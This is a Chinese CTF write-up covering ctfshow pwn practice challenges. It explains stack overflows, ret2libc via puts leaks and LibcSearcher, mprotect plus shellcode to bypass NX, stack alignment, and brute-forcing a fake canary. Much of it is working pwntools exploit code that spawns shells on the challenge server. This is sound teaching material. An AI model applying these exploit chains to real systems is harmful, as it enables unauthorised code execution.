pwn19
fork()函数创建了一个子进程。如果当前代码处于父进程(fork() 返回 1)则进入 if 语句块。如果是子进程(fork() 返回 0),则进入 else 语句块。在子进程中给予了用户一个 shell 权限,允许用户在子进程中输入数据并通过 system 运行。
值得注意的是在 read 函数前有一句 fclose(_bss_start);应该就是题目所说的关闭了输出流,所以正常地输入命令是没有办法回显的。
只要在命令后面加上>&0 来重定向就能实现回显了。
原理:
在 Linux 中,>&0 是一种输入重定向的语法。重定向是一种将命令的输入或输出从默认的位置改为指定位置的方法。在这个语法中,> 符号用于输出重定向,& 符号用于指定文件描述符(File Descriptor)。文件描述符是一个非负整数,用于在 Linux 中标识打开的文件或数据流。特别地,文件描述符 0 表示标准输入(stdin),它通常与终端或键盘相关联。
所以,>&0 的含义是将命令的输出重定向到标准输入,也就是将命令的输出内容发送到与终端或键盘关联的地方。一般情况下,输出重定向常用的有 >(覆盖)和 >>(追加)来将输出保存到文件中。
在子进程结束输入并回显后,会进入父进程执行 wait、sleep、printf 等操作,所以最后还是会输出'flag is not here'字符串,并结束程序。因此,想要再次输入需要重新 nc 连接。现在所有原理都清晰了,nc 连接后直接输入命令 cat ctfshow_flag >&0,即可得到 flag
pwn23
注意这个 signal 信号,当触发段错误时会执行这个 signal 里的 sigsegv_handler()函数,这个函数是来刷新缓冲区的,也就是会把缓冲区的内容全部打印出来。所以我们只需要发生一个段错误就可以了。
**<font style="color:#000000;background-color:#FFFFFF;">signal(11, (__sighandler_t)sigsegv_handler);</font>**
:
- `<font style="color:#000000;background-color:#FFFFFF;">11</font>`<font style="color:#000000;background-color:#FFFFFF;">:信号编号,对应于</font>`<font style="color:#000000;background-color:#FFFFFF;">SIGSEGV</font>`<font style="color:#000000;background-color:#FFFFFF;">,即段错误信号。</font>
- `<font style="color:#000000;background-color:#FFFFFF;">(__sighandler_t)sigsegv_handler</font>`<font style="color:#000000;background-color:#FFFFFF;">:将</font>`<font style="color:#000000;background-color:#FFFFFF;">sigsegv_handler</font>`<font style="color:#000000;background-color:#FFFFFF;">函数强制转换为</font>`<font style="color:#000000;background-color:#FFFFFF;">__sighandler_t</font>`<font style="color:#000000;background-color:#FFFFFF;">类型,这是</font>`<font style="color:#000000;background-color:#FFFFFF;">signal</font>`<font style="color:#000000;background-color:#FFFFFF;">函数所期望的信号处理函数类型。</font>
strcpy()函数如何发生段错误
<font style="color:#000000;background-color:#FFFFFF;">strcpy</font>
函数是 C 标准库中用于将一个字符串复制到另一个字符串的函数。它的原型如下:
char *strcpy(char *dest, const char *src);
<font style="color:#000000;background-color:#FFFFFF;">dest</font>
:目标字符串的指针。<font style="color:#000000;background-color:#FFFFFF;">src</font>
:源字符串的指针。
<font style="color:#000000;background-color:#FFFFFF;">strcpy</font>
函数会将<font style="color:#000000;background-color:#FFFFFF;">src</font>
指向的字符串(包括终止空字符<font style="color:#000000;background-color:#FFFFFF;">\0</font>
)复制到<font style="color:#000000;background-color:#FFFFFF;">dest</font>
指向的内存区域。如果<font style="color:#000000;background-color:#FFFFFF;">dest</font>
指向的内存区域不足以容纳<font style="color:#000000;background-color:#FFFFFF;">src</font>
字符串及其终止空字符,就会发生缓冲区溢出,可能导致段错误(segmentation fault)。
示例代码
以下是一个可能导致段错误的示例代码:
#include <stdio.h>
#include <string.h>
int main() {
char src[] = "This is a long string that will cause a buffer overflow";
char dest[10]; // 目标缓冲区只能容纳9个字符(加上终止空字符)
strcpy(dest, src); // 这将导致缓冲区溢出
printf("dest: %s\n", dest);
return 0;
}
解释
- 定义字符串和缓冲区:
<font style="color:#000000;background-color:#FFFFFF;">src</font>
是一个较长的字符串,包含 52 个字符(包括终止空字符)。<font style="color:#000000;background-color:#FFFFFF;">dest</font>
是一个较小的缓冲区,只能容纳 10 个字符(包括终止空字符)。
- 调用
<font style="color:#000000;background-color:#FFFFFF;">strcpy</font>
函数:<font style="color:#000000;background-color:#FFFFFF;">strcpy(dest, src);</font>
尝试将<font style="color:#000000;background-color:#FFFFFF;">src</font>
字符串复制到<font style="color:#000000;background-color:#FFFFFF;">dest</font>
缓冲区中。- 由于
<font style="color:#000000;background-color:#FFFFFF;">src</font>
字符串的长度超过了<font style="color:#000000;background-color:#FFFFFF;">dest</font>
缓冲区的容量,<font style="color:#000000;background-color:#FFFFFF;">strcpy</font>
会继续向<font style="color:#000000;background-color:#FFFFFF;">dest</font>
缓冲区之后的内存写入数据,导致缓冲区溢出。
- 段错误:
- 缓冲区溢出会覆盖
<font style="color:#000000;background-color:#FFFFFF;">dest</font>
缓冲区之后的内存数据,可能导致程序访问非法内存地址,从而触发段错误。
- 缓冲区溢出会覆盖
避免段错误
为了避免段错误,可以使用<font style="color:#000000;background-color:#FFFFFF;">strncpy</font>
函数,并指定最大复制长度,以确保不会发生缓冲区溢出。例如:
#include <stdio.h>
#include <string.h>
int main() {
char src[] = "This is a long string that will cause a buffer overflow";
char dest[10]; // 目标缓冲区只能容纳9个字符(加上终止空字符)
strncpy(dest, src, sizeof(dest) - 1); // 最多复制9个字符
dest[sizeof(dest) - 1] = '\0'; // 确保字符串以空字符结尾
printf("dest: %s\n", dest);
return 0;
}
<font style="color:#000000;background-color:#FFFFFF;">strncpy(dest, src, sizeof(dest) - 1);</font>
最多复制<font style="color:#000000;background-color:#FFFFFF;">sizeof(dest) - 1</font>
个字符(即 9 个字符),以避免缓冲区溢出。<font style="color:#000000;background-color:#FFFFFF;">dest[sizeof(dest) - 1] = '\0';</font>
确保目标字符串以空字符结尾。
通过这种方式,可以安全地复制字符串,避免段错误的发生。
常见段错误
段错误归根结底就是访问了非法内存
数组越界
scanf 错误使用
int b; scanf("%d",b);//应为scanf("%d",&b);
内存访问只读内存区域
pwn24
关闭了 NX,代表栈上的代码可以执行
这个地方 ida 不能反编译,只能看汇编了
pwn25(NX 保护)
我们看到 plt 表中含有 puts 函数跟 write 函数,那 got 表中也一定有他俩,那我们就使用 puts 函数来输出函数的内存地址
┌──(kali㉿kali)-[~/Desktop]
└─$ objdump -d -j .plt pwn
pwn: 文件格式 elf32-i386
Disassembly of section .plt:
08048370 <.plt>:
8048370: ff 35 04 a0 04 08 push 0x804a004
8048376: ff 25 08 a0 04 08 jmp *0x804a008
804837c: 00 00 add %al,(%eax)
...
08048380 <read@plt>:
8048380: ff 25 0c a0 04 08 jmp *0x804a00c
8048386: 68 00 00 00 00 push $0x0
804838b: e9 e0 ff ff ff jmp 8048370 <.plt>
08048390 <puts@plt>:
8048390: ff 25 10 a0 04 08 jmp *0x804a010
8048396: 68 08 00 00 00 push $0x8
804839b: e9 d0 ff ff ff jmp 8048370 <.plt>
080483a0 <__libc_start_main@plt>:
80483a0: ff 25 14 a0 04 08 jmp *0x804a014
80483a6: 68 10 00 00 00 push $0x10
80483ab: e9 c0 ff ff ff jmp 8048370 <.plt>
080483b0 <write@plt>:
80483b0: ff 25 18 a0 04 08 jmp *0x804a018
80483b6: 68 18 00 00 00 push $0x18
80483bb: e9 b0 ff ff ff jmp 8048370 <.plt>
080483c0 <setvbuf@plt>:
80483c0: ff 25 1c a0 04 08 jmp *0x804a01c
80483c6: 68 20 00 00 00 push $0x20
80483cb: e9 a0 ff ff ff jmp 8048370 <.plt>
# 导入相关的库
from pwn import *
from LibcSearcher import LibcSearcher
# 打印调试信息
context.log_level = 'debug'
# 建立连接
p = remote("pwn.challenge.ctf.show",28256)
elf = ELF("./pwn")
# 溢出偏移地址
offset = 0x88 + 0x4
# main函数地址
main_addr = elf.symbols['main']
# plt表中puts函数地址
puts_plt = elf.plt['puts']
# got表中puts函数的地址
puts_got = elf.got['puts']
# payload:0x88+0x4个无用填充字符覆盖到返回地址,
# 将puts函数plt表地址做返回地址,代表ctfshow函数执行完会执行puts函数,
# main_addr是puts函数执行完后的返回地址,使用puts函数执行完后回到main函数继续利用溢出漏洞
# puts函数got表中的地址作为puts函数执行的参数,让puts函数输出puts函数在内存的地址
payload = b'a' * offset + p32(puts_plt) + p32(main_addr) + p32(puts_got)
# 发送payload
p.sendline(payload)
# 接收puts函数输出的puts函数在内存的地址
puts_addr = u32(p.recv()[0:4])
print(hex(puts_addr))
# 在根据内存中puts函数的地址寻找相应的libc版本中puts函数的地址
libc = LibcSearcher("puts", puts_addr)
# 找到libc中的puts函数地址之后,将内存的puts函数地址减去libc中的puts函数地址就得到了libc的基地址
libc_base = puts_addr - libc.dump("puts")
print(hex(libc_base))
# 使用libc.dump("system")找到libc中的system函数地址,再加上基地址就得到system函数在内存的地址
system_addr = libc_base + libc.dump("system")
# 使用libc.dump("str_bin_sh")找到libc中的"/bin/sh"字符串地址,再加上基地址就得到"/bin/sh"字符串在内存的地址
binsh_addr = libc_base + libc.dump("str_bin_sh")
# payload:填充栈空间到返回地址,将返回地址覆盖为system函数的地址
# 然后填充执行system函数之后的返回地址,填充什么都可以,但是长度必须为4
# 最后填入system的参数“/bin/sh”
payload = b'a' * offset + p32(system_addr) + b'a' * 4 + p32(binsh_addr)
p.sendline(payload)
# 进入交互模式
p.interactive()
pwn31(ASLR 和 PIE 绕过)(未解决)
目前存在的问题:
1.我的虚拟机里面 libcsearcher 找不到对应 libc 版本
2.ctfshow 虚拟机里面执行了但是打不通线上,只能打通本地
这里打印出来 main 函数的地址了,我们可以根据这个地址和 main 函数相对一基地址的偏移来得到程序的基地址,这样就可以绕过 ASLR 和 PIE 了
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
p = remote("pwn.challenge.ctf.show", "28123")
elf = ELF("./pwn")
main_real_addr = int(p.recv().strip(),16)
print hex(main_real_addr)
base_addr = main_real_addr - elf.sym['main']
然后是获取溢出长度。
先用
cyclic 200
得到字符串。
然后启动程序,会让我们输入字符。把刚才生成的字符串输入进去。
这就是我们溢出的地址。
用
cyclic -l 0x6261616b
得到溢出长度
接下来就可以用 ret2libc 来写了。
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
p = remote("pwn.challenge.ctf.show", "28123")
elf = ELF("./pwn")
main_real_addr = int(p.recv().strip(),16)
print hex(main_real_addr)
base_addr = main_real_addr - elf.sym['main']
puts_plt = base_addr + elf.sym['puts']
puts_got = base_addr + elf.got['puts']
ctfshow_addr = base_addr + elf.sym['ctfshow']
ebx = base_addr + 0x1fc0
payload = 132 * 'a' + p32(ebx) + 'a' * 4 + p32(puts_plt) + p32(main_real_addr) + p32(puts_got)
p.send(payload)
puts_addr = u32(p.recv()[0:4])
print hex(puts_addr)
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload = 140 * 'a' + p32(system_addr) + p32(ctfshow_addr) + p32(binsh_addr)
p.send(payload)
p.interactive()
第 15 行写成 132 _ 'a' + p32(ebx) + 'a' _ 4 的原因是在 ctfshow 函数的最后有个 mov ebx, [ebp+var_4]。
pwn32
分析逻辑
getegid()用来取得执行目前进程有效组识别码. 有效的组识别码用来决定进程执行时组的权限.
int setregid(gid_t rgid, gid_t egid);
setregid()用来将参数rgid设为目前进程的真实组识别码,将参数egid设置为目前进程的有效组识别码。
如果参数rgid或egid值为-1,则对应的识别码不会改变。
程序接收三个参数 argc、argv 和 envp,
其中 argc 表示命令行参数的数量,argv 是一个字符指针数组,每个元素指向一个命令行参数的字符串,envp 则是一个指向环境变量的指针数组。
函数中首先调用了 getegid 和 setresgid 函数,用于获取和设置有效的组 ID。然后调用 logo 函数输出 logo 信息。
接着通过strtol
函数将argv[1]
中的前 10 个字节以及第 11 个字节拷贝到了 buf1 数组中,
然后通过strcpy
函数将字符串”CTFshowPWN”拷贝到了 buf2 数组中,并通过 printf 函数输出了 buf1 和 buf2 的值。(注:其实还有 argv[0]的,这个参数是每个程序的都一定会有的,并且值为程序名称)
然后从argv[3]
中解析出一个整数值,并将argv[2]
中的前 v5 个字节拷贝到 buf1 数组中,通过strcpy
函数将argv[1]
拷贝到 buf2 数组中,并通过 printf 函数输出了 buf1 和 buf2 的值。
接着使用 fgets 函数从_bss_start 地址开始读取最多 11 个字节的数据到 buf1 数组中,
然后使用 printf 函数输出了 buf1 中的格式化字符串,并将 num 的地址作为参数传递给 printf 函数。
最后的 if 语句中,如果 argc 的值大于 4(因为存在argv[0]
,所以这里默认为 1),则调用 Undefined 函数,打开并读取一个名为”/ctfshow_flag”的文件
总之,只要我们让 argc 的值大于 4 就能拿到 flag 了
因为本题目 FORTIFY_SOURCE 没有开启,代表我们启动函数直接输入 4 个参数(这时 argc=5 > 4)就行了,而且这 4 个参数没有长度限制,如果开启 FORTIFY_SOURCE 就不好说了,因为开启了之后,由于程序存在 strcpy 和 memcpy 函数会检测长度,如果长度超过了限制,可能会使程序抛出异常而退出执行
pwn33
和上一题不同的是 memcpy 和 strcpy 这两个函数被替换成了mencpy_chk 和strcpy_chk 安全函数
可以看到这两个函数相比前两个函数只是加上了 11LL 这个参数加以限制,因为 buf1 和 buf2 在声明的时候的长度就是 11,所以程序为了防止溢出,使用后两个函数加上这两个数组的长度加以限制以防溢出
但是这里完全不影响我们输入 4 个参数拿到 flag,因为只要我们输入的第一个和第二个参数的长度不超过 11 就行了
同样方式拿到 flag
pwn34
可以看到很多函数相对之前来说都加上了_chk 字符。
printfchk 该函数与 printf 的区别在于
不能使用 %x$n 不连续地打印,也就是说如果要使用 %3$n,则必须同时使用 %1$n 和 %2$n。在使用 %n 的时候会做一些检查
同样方式拿到 flag
栈溢出
pwn35
把 flag 读取到 flag 变量里。然后打印一堆东西。如果参数<=1 就 try again,否则就执行 ctfshow 函数,然后提示 flag 不在这。
注意这个函数。当发生对存储的无效访问时,会把 stderr 打印输出,即将 flag 的值打印输出。
ctfshow 函数里 dest 的长度是 104,但是 strcpy 是个危险函数,可以无限制复制,得到栈溢出。同时这个函数是把第一个 argv[1]赋给 dest,所以我们只要第一个参数大于 104 字节就行。
pwn36
设置模式
context(arch="i386",os="linux",log_level="debug")
先打印出一堆东西,然后进入 ctfshow 函数
ctfshow 函数里有个 get 可以造成栈溢出,然后左边符号表里有个 get_flag 后门函数,把 flag 读取到 stream 里,再给 s 最后打印出来。
这样我们就可以用 get 覆盖返回地址,执行 flag 函数。
from pwn import *
context(arch="i386",os="linux",log_level="debug")
p = remote("pwn.challenge.ctf.show",28104)
# p=process("./pwn")
elf=ELF("./pwn")
flag_addr=elf.sym['get_flag']
offset=0x28+4
payload=offset*b'a'+p32(flag_addr)
p.sendline(payload)
p.interactive()
这里flag_addr=elf.sym['get_flag']
还是第一次用,以前不懂elf.sym
不会用。
pwn38(栈对齐)
这里的难点是栈对齐。
如果是这样写的,就会在movaps xmmword ptr [rsp + 0x50], xmm0
指令处报错。
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
filename="./pwn"
# p = remote("pwn.challenge.ctf.show",28213)
p=process(filename)
elf=ELF(filename)
flag_addr=elf.sym['backdoor']
padding=0xa+8
# payload=padding*b'a'+p64(flag_addr)
payload=flat([padding*'a',flag_addr])
gdb.attach(p)
# pause()
p.sendline(payload)
p.interactive()
报错的原因是这个指令需要 16 字节对齐(最后一位为 0),也就是说在这里,rsp + 0x50
没有 16 字节对齐。看下面栈也可以看出来,rsp 的地址是0x7ffcc4f754f8
,最后一位不是 0。所以我们要想办法变动一下栈,让 rsp 最后一位为 0。
第一种方法
添加一个 ret 语句
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
filename="./pwn"
# p = remote("pwn.challenge.ctf.show",28213)
p=process(filename)
elf=ELF(filename)
flag_addr=elf.sym['backdoor']
padding=0xa+8
payload=flat([padding*'a',0x400656,flag_addr])
gdb.attach(p)
# pause()
p.sendline(payload)
p.interactive()
第二种
跳过 push rbp,这会对栈造成影响。
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
filename="./pwn"
# p = remote("pwn.challenge.ctf.show",28213)
p=process(filename)
elf=ELF(filename)
flag_addr=elf.sym['backdoor']
padding=0xa+8
payload=flat([padding*'a',0x400658])
gdb.attach(p)
# pause()
p.sendline(payload)
p.interactive()
pwn43(未解决)
通过 vmmap,看到这个段是可读可写的。到 ida 里找这个段里有哪个变量可以存储
这个变量可以用 gets 函数写入,然后执行 system
方法一
正常的传参
from pwn import *
context.log_level = 'debug'
p = remote('pwn.challenge.ctf.show', 28227)
offset = (0x6C+4)
system_addr = 0x8048450
buf2_addr = 0x804B060
gets_addr = 0x8048420
payload = b'a'*offset + p32(gets_addr) + p32(system_addr) + p32(buf2_addr) + p32(buf2_addr)
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()
方法二(未解之谜)
用 32 位寄存器的思想(不理解)
在 32 位中,参数和返回值直接就存在栈中,但对于 payload 中有多个函数时,如果不是最后一个函数,则需要将其参数用寄存器来保存
# pwn43
from pwn import *
context.log_level = 'debug'
elf = ELF('./pwn43')
# io = remote('pwn.challenge.ctf.show', 28107)
io = process('pwn43')
gets = elf.sym['gets']
system = elf.sym['system']
buf2 = 0x804B060
pop_ebx = 0x08048409
pop_ebp = 0x0804884b
payload = cyclic(0x6c + 4) + p32(gets) + p32(pop_ebx) + p32(buf2) + p32(system) + p32(0) + p32(buf2)
# payload = cyclic(0x6c + 4) + p32(gets) + p32(pop_ebp) + p32(buf2) + p32(system) + p32(0) + p32(buf2)
io.sendline(payload)
io.sendline('/bin/sh') # can also use 'sh'
# io.recv()
io.interactive()
pwn44
和上题一样,区别就是 64 位没有 ebx 寄存器,还需要用 rdi 代替,先找到地址.
pwn49
发现比较大,怀疑是静态编译
果然是
根据题目的提示,我们可能需要用到 mprotect 函数,那我们就先来了解一下什么是 mprotect 函数吧。这个函数是只要是静态链接的文件都会有的哦。
首先拖进 IDA,发现漏洞
可以算出偏移地址为 0x12 + 0x4 = 22
既然程序是静态连接,并且里面没有 system 函数,我们就不能使用 ret2libc 来打了。所以我们就是用 mprotect 函数来打,因为 mprotect 函数可以修改一段内存空间的权限,那我们选择一段内存空间将它的权限修改为可读可写可执行,然后将 shellcode 写在这段空间,之后再将程序的控制流转到这里,不就可以执行 shellcode 了嘛?即使文件开启了 NX,但是我们利用的是栈之外的空间,不久轻松绕过了 NX。hhh
我们的大概思路就是:
填充地址 + mprotect 函数 + 返回地址 + mprotect 的三个参数 + read 函数
我们看到 mprotect 函数是有三个参数的我们就必须要找到一个具有三个 pop 一个 ret 的 gadget,因为,我们将三个参数 pop 之后,栈顶就是 read 函数的地址了,这样 ret 之后就跳到 read 函数执行了。
需要解释的点:
- 为什么要用参数把 pop 给扔出去呢?
因为不扔出去的话,后面的函数无法执行,两种情况- 两个函数以上的构成的 rop 链,下一个函数的地址不能作为上一个函数返回地址
- 第一个函数参数大于等于二的情况下,第二个函数作为返回地址时参数会受到影响
操作:需要通过将参数移动到寄存器从而执行下一个函数(保证 ESP 在上一个函数执行完之后可以指向下一个函数的开
解释版 exp
from pwn import *
p = remote("pwn.challenge.ctf.show", "28141")
payload = 22 * 'a'
payload += p32(0x0806cdd0)# mprotect函数地址
payload += p32(0x08056194)# 3 pop 1 ret地址
payload += p32(0x080da000)# 需要修改的内存的起始地址
payload += p32(0x1000)# 修改内存空间的大小
payload += p32(0x7)# 需要赋予的权限
shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
payload += p32(0x806bee0)# read函数地址
payload += p32(0x080da000)# read函数返回地址(就是我们shellcode所在地址,即我们修改的内存空间的起始地址)
payload += p32(0x0)
payload += p32(0x080da000)# shellcode地址
payload += p32(len(shellcode))
p.recvuntil(" * ************************************* ")
p.sendline(payload)
p.sendline(shellcode)
p.interactive()
真实版 exp
from pwn import *
from LibcSearcher import LibcSearcher
context(arch="i386",os="linux",log_level="debug")
filename="./pwn"
# p = remote("pwn.challenge.ctf.show",28121)
p=process(filename)
elf = ELF(filename)
padding = 0x12+0x4
read_addr=elf.symbols['read']
mprotect_add=elf.sym['mprotect']
pop_ret=0x08056194
shllcode=asm(shellcraft.sh())
payload=flat([ b'a' * padding,mprotect_add,pop_ret,0x080da000,0x1145,7,read_addr,0x080da000,0,0x080da000,0x114514])
# p.recv()
p.sendline(payload)
p.sendline(shllcode)
p.interactive()
pwn50
法一(ret2libc)
from pwn import *
from LibcSearcher import LibcSearcher
context(arch="amd64",os="linux",log_level="debug")
filename="./pwn"
p = remote("pwn.challenge.ctf.show", 28233)
# p=process(filename)
elf = ELF(filename)
# gdb.attach(p)
# pause()
padding = 0x20+0x8
main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi_ret=0x4007e3
ret_addr=0x04004fe
payload=flat([ b'a' * padding,rdi_ret,puts_got,puts_plt,ret_addr,main_addr])
p.sendline(payload)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
#本地
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# libc_base=puts_addr-libc.symbols['puts']
# system_addr=libc_base+libc.symbols['system']
# binsh_addr=libc_base+next(libc.search(b"/bin/sh"))
# payload=flat([b'a' * padding,rdi_ret,binsh_addr,system_addr])
# p.sendline(payload)
#远程
libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump("puts")
print(hex(libc_base))
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload=flat([b'a' * padding,rdi_ret,binsh_addr,system_addr])
p.sendline(payload)
p.interactive()
法二(mprotect 修改权限执行 shellcode)
from pwn import *
from LibcSearcher import LibcSearcher
context(arch="amd64",os="linux",log_level="debug")
filename="./pwn"
# p = remote("pwn.challenge.ctf.show", 28233)
p=process(filename)
elf = ELF(filename)
# gdb.attach(p)
# pause()
padding = 0x20+0x8
main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
bss_start_addr= 0x601000
pop_rdi_ret=0x4007e3
ret_addr=0x04004fe
shellcode_addr=0x601000+0x100
#泄露libc地址
payload=flat([ b'a' * padding,pop_rdi_ret,puts_got,puts_plt,main_addr])
p.sendline(payload)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
#用mprotect函数将bss段设置为可读可写可执行
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address=puts_addr-libc.symbols['puts']
pop_rsi_ret=libc.address+0x02601f
pop_rdx_r12_ret=libc.address+0x119431 #只有red,r12了,凑合用吧
#用mprotect修改权限
payload=flat([b'a'*padding,pop_rdi_ret,bss_start_addr,pop_rsi_ret,0x10000,pop_rdx_r12_ret,7,0,libc.symbols['mprotect'],main_addr])
p.sendline(payload)
#写入shellcode
payload=flat([b'a'*padding,pop_rdi_ret,shellcode_addr,libc.symbols['gets'],shellcode_addr])
p.sendline(payload)
p.sendline(asm(shellcraft.sh()))
#执行shellcode
# payload=flat([padding*b'a',shellcode_addr])
# p.sendline(payload)
p.interactive()
出现的问题
- 设置 rei 和 rdi 的 gadgate 在 pwn 找不到就到 libc 里找,找到之后直接
pop_rsi_ret=0x02601f
和pop_rdx_r12_ret=0x119431
,没加上libc.address
pwn51(逆向分析漏洞,strcpy 函数漏洞)
完全看不懂啊淦,全是看别人的 wp,不知道关键函数的逻辑怎么得出来的
复制的别人都 wp
这个题的漏洞是一个 I 换七个字母 IronMan,需要覆盖 118 个字节,输入 16 个 I 即可,逻辑很简单,但是需要逆向分析
back_door = 0x0804902E
payload = b'I'*16 + p32(back_door)
p.sendline(payload)
p.interactive()
pwn52(函数传参调试控制)
from pwn import *
from LibcSearcher import LibcSearcher
context(arch="i386",os="linux",log_level="debug")
filename="./pwn"
p = remote("pwn.challenge.ctf.show", 28184)
# p=process(filename)
elf = ELF(filename)
padding=0x6c+4
back_door=elf.sym['flag']
payload=flat([padding*b'a',back_door,0,876,877])
p.sendline(payload)
p.interactive()
pwn53(人工伪造 cannary)
进入 ida,这个程序的逻辑是
这个 ctfshow 函数先是循环读取,每次读取一个字节,直到读取到换行符(ascii:10 0xa),循环读取才会结束,__isoc99_sscanf(v2,”%d”,&nbytes)这个函数从 v2 中读取一个整数,存放到 nbytes 变量中,这个变量决定了我们能够向 buf 写入的数据大小,我们想要造成溢出,这个数据就得大点,接下来,就去比较 s1 与我们的 global_canary 是否相同,相同这个函数才能正常返回,造成溢出
那我们就得去爆破这个 global_canary 的值了,这个值是静态的,是不变的,因为它起到的是类似 canary 的效果,所以我们可以反复连接程序,第一次去覆盖 global_canary 的一个字节,直到爆破出第一个字节所对应的值后,我们再改为覆盖两个字节,去爆破出第二个字节的值,依次类推,直到第四个字节爆破出来
from pwn import *
context(arch="i386",os="linux")
filename="./pwn"
# canary=b''
# for j in range(4):
# for i in range(0xff):
# p = remote("pwn.challenge.ctf.show",28184)
# # p=process(filename)
# p.sendline(str(-1))
# payload=b'a'*0x20+canary+p8(i) #这里用p8()原因是p8()会发送不可见字符,如果用b''的话我们只能发送可见字符
# p.sendafter(b'$ ',payload) #不能用send,用了后面的ans里会是乱码,不知道为什么
# ans=p.recv()
# print('ans---------->',ans)
# if b'Canary Value Incorrect!'not in ans:
# canary+=p8(i)
# break
# else:
# print("tryying...")
# p.close()
# print('cancry is ',canary)
canary= b'36D!' #这里是我已经爆破出来了才写的
p = remote("pwn.challenge.ctf.show",28184)
# p=process(filename)
elf=ELF(filename)
flag_addr=0x8048696
p.sendline(str(-1))
# payload=0x20*b'a'+canary+12*b'a'+p32(flag_addr)
payload=0x20*b'a'+canary+b'\x00' * (12+4)+p32(flag_addr) #这里填充完cannary之后应该填充12个字节,但是还要加4填充到ret地址
p.sendafter(b'$ ',payload)
p.interactive()
标签:函数,puts,libc,ctfshow,pwn,payload,addr
From: https://www.cnblogs.com/r0xy/p/18464021